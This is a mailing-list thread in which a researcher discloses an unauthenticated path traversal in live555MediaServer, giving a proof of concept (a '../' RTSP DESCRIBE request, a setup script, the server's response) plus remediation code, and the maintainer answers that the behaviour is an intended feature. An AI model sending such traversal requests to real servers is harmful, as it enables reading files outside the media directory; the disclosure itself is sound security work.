From aramosf at gmail.com Tue Jun 2 23:04:14 2026 From: aramosf at gmail.com (A. Ramos) Date: Wed, 3 Jun 2026 08:04:14 +0200 Subject: [Live-devel] Fwd: Unauthenticated path traversal via RTSP DESCRIBE In-Reply-To: References: Message-ID: Hello all, I'm leaving this note here in case you find it useful; perhaps you'll see it differently and not consider it a vulnerability in itself. # Unauthenticated path traversal via RTSP DESCRIBE in `live555MediaServer` ## Summary `live555MediaServer` appears to accept the path component of an RTSP `DESCRIBE` request and use it as a filesystem path without sufficient canonicalisation or path traversal checks. A remote unauthenticated attacker can use `../` path traversal sequences in the RTSP URL to cause the server to open files outside the intended media-serving directory. If the target file is readable by the server process and has a media extension supported by LIVE555, the attacker can receive the file content through the normal RTSP/RTP streaming flow. This was validated with a synthetic WAV file placed outside the server working directory. The file was successfully accessed and streamed using `DESCRIBE`, `SETUP` and `PLAY`. ## Affected component - Project: LIVE555 / liveMedia - Binary: `live555MediaServer` - Tested version/banner: `LIVE555 Streaming Media v2026.05.30` - Affected area: RTSP URL path handling and filesystem dispatch - Entry point: unauthenticated RTSP `DESCRIBE` - Default port observed in test: TCP/554 ## Vulnerability type - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-23: Relative Path Traversal - CWE-73: External Control of File Name or Path ## Severity Suggested severity: **High** Suggested CVSS v4.0: ```text CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:A ``` Suggested score: **8.7** Rationale: - Network reachable. - No authentication required in the tested default configuration. - Low attack complexity. - No user interaction required. - Demonstrated confidentiality impact through file-content disclosure. - No direct integrity or availability impact demonstrated. ## Technical details The RTSP request path is parsed into URL components and later reconstructed into a stream name. This stream name is then used as a filesystem path. The relevant flow is: 1. An attacker sends an RTSP `DESCRIBE` request containing traversal sequences such as `../`. 2. LIVE555 parses the RTSP request URL. 3. The parsed path is passed into the media session lookup logic. 4. `live555MediaServer` attempts to open the attacker-controlled path using `fopen(streamName, "rb")`. 5. If the file exists and is supported by one of the media handlers, LIVE555 exposes it through the normal RTSP/RTP streaming flow. Relevant code areas identified during review: ```text src/live/liveMedia/RTSPCommon.cpp parseRTSPRequestString() decodeURL() src/live/liveMedia/RTSPServer.cpp RTSPServer::RTSPClientConnection::handleCmd_DESCRIBE() src/live/mediaServer/DynamicRTSPServer.cpp DynamicRTSPServer::lookupServerMediaSession() createNewSMS() ``` The critical sink is: ```cpp FILE* fid = fopen(streamName, "rb"); ``` The tested path reaches this call without rejecting traversal segments such as `../`. ## Proof of concept The following proof of concept uses a synthetic secret file outside the server working directory. ### Test setup Create a file outside the media server working directory: ```bash mkdir -p /tmp/cc-0001-secret python3 - <<'PY' import wave payload = ( b"CODECOME_SECRET_TOKEN=rtsp-path-traversal-test\n" * 40 ) with wave.open("/tmp/cc-0001-secret/api-token.wav", "wb") as w: w.setnchannels(1) w.setsampwidth(2) w.setframerate(8000) w.writeframes(payload.ljust(2000, b"\x00")) PY ``` Start `live555MediaServer` from a different directory: ```bash mkdir -p /tmp/live555-cwd cd /tmp/live555-cwd /path/to/live555MediaServer ``` ### RTSP request Send a traversal path pointing outside the server working directory: ```text DESCRIBE rtsp://127.0.0.1:554/../cc-0001-secret/api-token.wav RTSP/1.0 CSeq: 1 User-Agent: cc-0001-test Accept: application/sdp ``` ### Observed vulnerable response The server returns `200 OK` and includes the traversed path in the SDP response: ```text RTSP/1.0 200 OK Content-Base: rtsp://127.0.0.1/../cc-0001-secret/api-token.wav/ Content-Type: application/sdp v=0 s=WAV Audio Stream, streamed by the LIVE555 Media Server i=../cc-0001-secret/api-token.wav a=tool:LIVE555 Streaming Media v2026.05.30 a=control:* m=audio 0 RTP/AVP 96 a=rtpmap:96 L16/8000 a=control:track1 ``` A complete exploitation flow using: ```text DESCRIBE SETUP PLAY ``` successfully recovered the synthetic marker string from RTP payload data: ```text CODECOME_SECRET_TOKEN=rtsp-path-traversal-test ``` ## Impact A remote unauthenticated attacker may be able to read files outside the intended media directory, depending on deployment conditions. The impact is strongest when: - `live555MediaServer` is exposed to an untrusted network. - Authentication is not enabled. - The server process can read sensitive files. - Sensitive files are present with, or reachable through, a supported media extension. - The server runs from a directory adjacent to sensitive content. - Symlinks or operator-created media files point to sensitive locations. Supported extensions observed in the dispatch logic include, among others: ```text .aac .amr .ac3 .m4e .264 .265 .mp3 .mpg .vob .ts .wav .dv .mkv .webm .ogg .ogv .opus ``` This should not be described as unconditional arbitrary file read of every file on the host. In practice, disclosure is constrained by: - filesystem permissions of the server process; - whether the target path can be opened; - whether the target file has a supported extension or is otherwise accepted by the media handler; - whether the media parser can process enough of the file to stream content. However, the demonstrated case confirms that attacker-controlled traversal can escape the intended media root and disclose file content. ## Reproduction result The issue was reproduced in a controlled environment with: ```text target=127.0.0.1:554 traversed_path=../cc-0001-secret/api-token.wav describe_status=200 rtp_payload_type=96 L16/8000 rtp_packets=2 rtp_payload_bytes=2000 success=true ``` The test file was outside the server working directory and was not intended to be served. ## Expected behaviour The server should reject RTSP URLs that resolve outside the configured media root. Examples of expected safe behaviour: - Reject paths containing `..` after URL decoding. - Reject absolute paths. - Canonicalise the requested path and verify that it remains under the configured media root. - Return `403 Forbidden` or `404 Stream Not Found` for traversal attempts. - Avoid exposing filesystem-derived paths in SDP responses. ## Suggested remediation Recommended defensive changes: 1. Introduce an explicit media root directory. 2. Canonicalise the requested path before opening it. 3. Reject any path whose canonical form escapes the media root. 4. Reject absolute paths from RTSP request URLs. 5. Reject `..` segments after percent-decoding. 6. Consider using `openat()` with a media-root directory file descriptor and platform-specific ?beneath root? protections where available. 7. Avoid relying on file extensions as a security boundary. 8. Consider enabling authentication by default or documenting the risk clearly for exposed deployments. Example high-level logic: ```cpp std::filesystem::path root = std::filesystem::canonical(mediaRoot); std::filesystem::path requested = std::filesystem::weakly_canonical(root / userSuppliedPath); if (!isPathInside(requested, root)) { rejectRequest(); return; } FILE* fid = fopen(requested.c_str(), "rb"); ``` The exact implementation should take care with symlinks, race conditions and cross-platform path semantics. ## Security boundary crossed The issue crosses the following boundary: ```text anonymous remote RTSP client -> RTSP URL parser -> local filesystem path -> fopen() -> RTSP/RTP media streaming ``` The attacker controls data that is eventually interpreted as a local filesystem path. ## Notes This report intentionally uses a synthetic test file and does not include any real secret material. The demonstrated impact is file disclosure through RTSP/RTP streaming. No code execution or file modification was demonstrated for this issue. -- Alejandro Ramos @aramosf From finlayson at live555.com Tue Jun 2 23:45:34 2026 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 2 Jun 2026 23:45:34 -0700 Subject: [Live-devel] Unauthenticated path traversal via RTSP DESCRIBE In-Reply-To: References: Message-ID: I do not consider this to be a bug or a ?vulnerability?. In fact, it is a ?feature?. A streamable media file can be placed anywhere in the file system, and - as long as it can be read by the ?LIVE555 Media Server? - it can be streamed using an appropriate URL. Note that the ?LIVE555 Media Server? will read only streamable media files - not other (non-media) files (such as password files, for instance). Also, if you want the ?LIVE555 Media Server? to be able to access only a subset of the file system, then you easily can do so - e.g., by setting up a ?chroot jail?. Ross Finlayson Live Networks, Inc. http://www.live555.com/ From aramosf at gmail.com Wed Jun 3 03:07:35 2026 From: aramosf at gmail.com (A. Ramos) Date: Wed, 3 Jun 2026 12:07:35 +0200 Subject: [Live-devel] Unauthenticated path traversal via RTSP DESCRIBE In-Reply-To: References: Message-ID: ok! I was thinking in something like DocumentRoot in web world. Thank you! El mi?, 3 jun 2026 a las 8:47, Ross Finlayson () escribi?: > > I do not consider this to be a bug or a ?vulnerability?. In fact, it is a ?feature?. A streamable media file can be placed anywhere in the file system, and - as long as it can be read by the ?LIVE555 Media Server? - it can be streamed using an appropriate URL. > > Note that the ?LIVE555 Media Server? will read only streamable media files - not other (non-media) files (such as password files, for instance). Also, if you want the ?LIVE555 Media Server? to be able to access only a subset of the file system, then you easily can do so - e.g., by setting up a ?chroot jail?. > > > Ross Finlayson > Live Networks, Inc. > http://www.live555.com/ > > > _______________________________________________ > live-devel mailing list > live-devel at lists.live555.com > http://lists.live555.com/mailman/listinfo/live-devel -- Alejandro Ramos @aramosf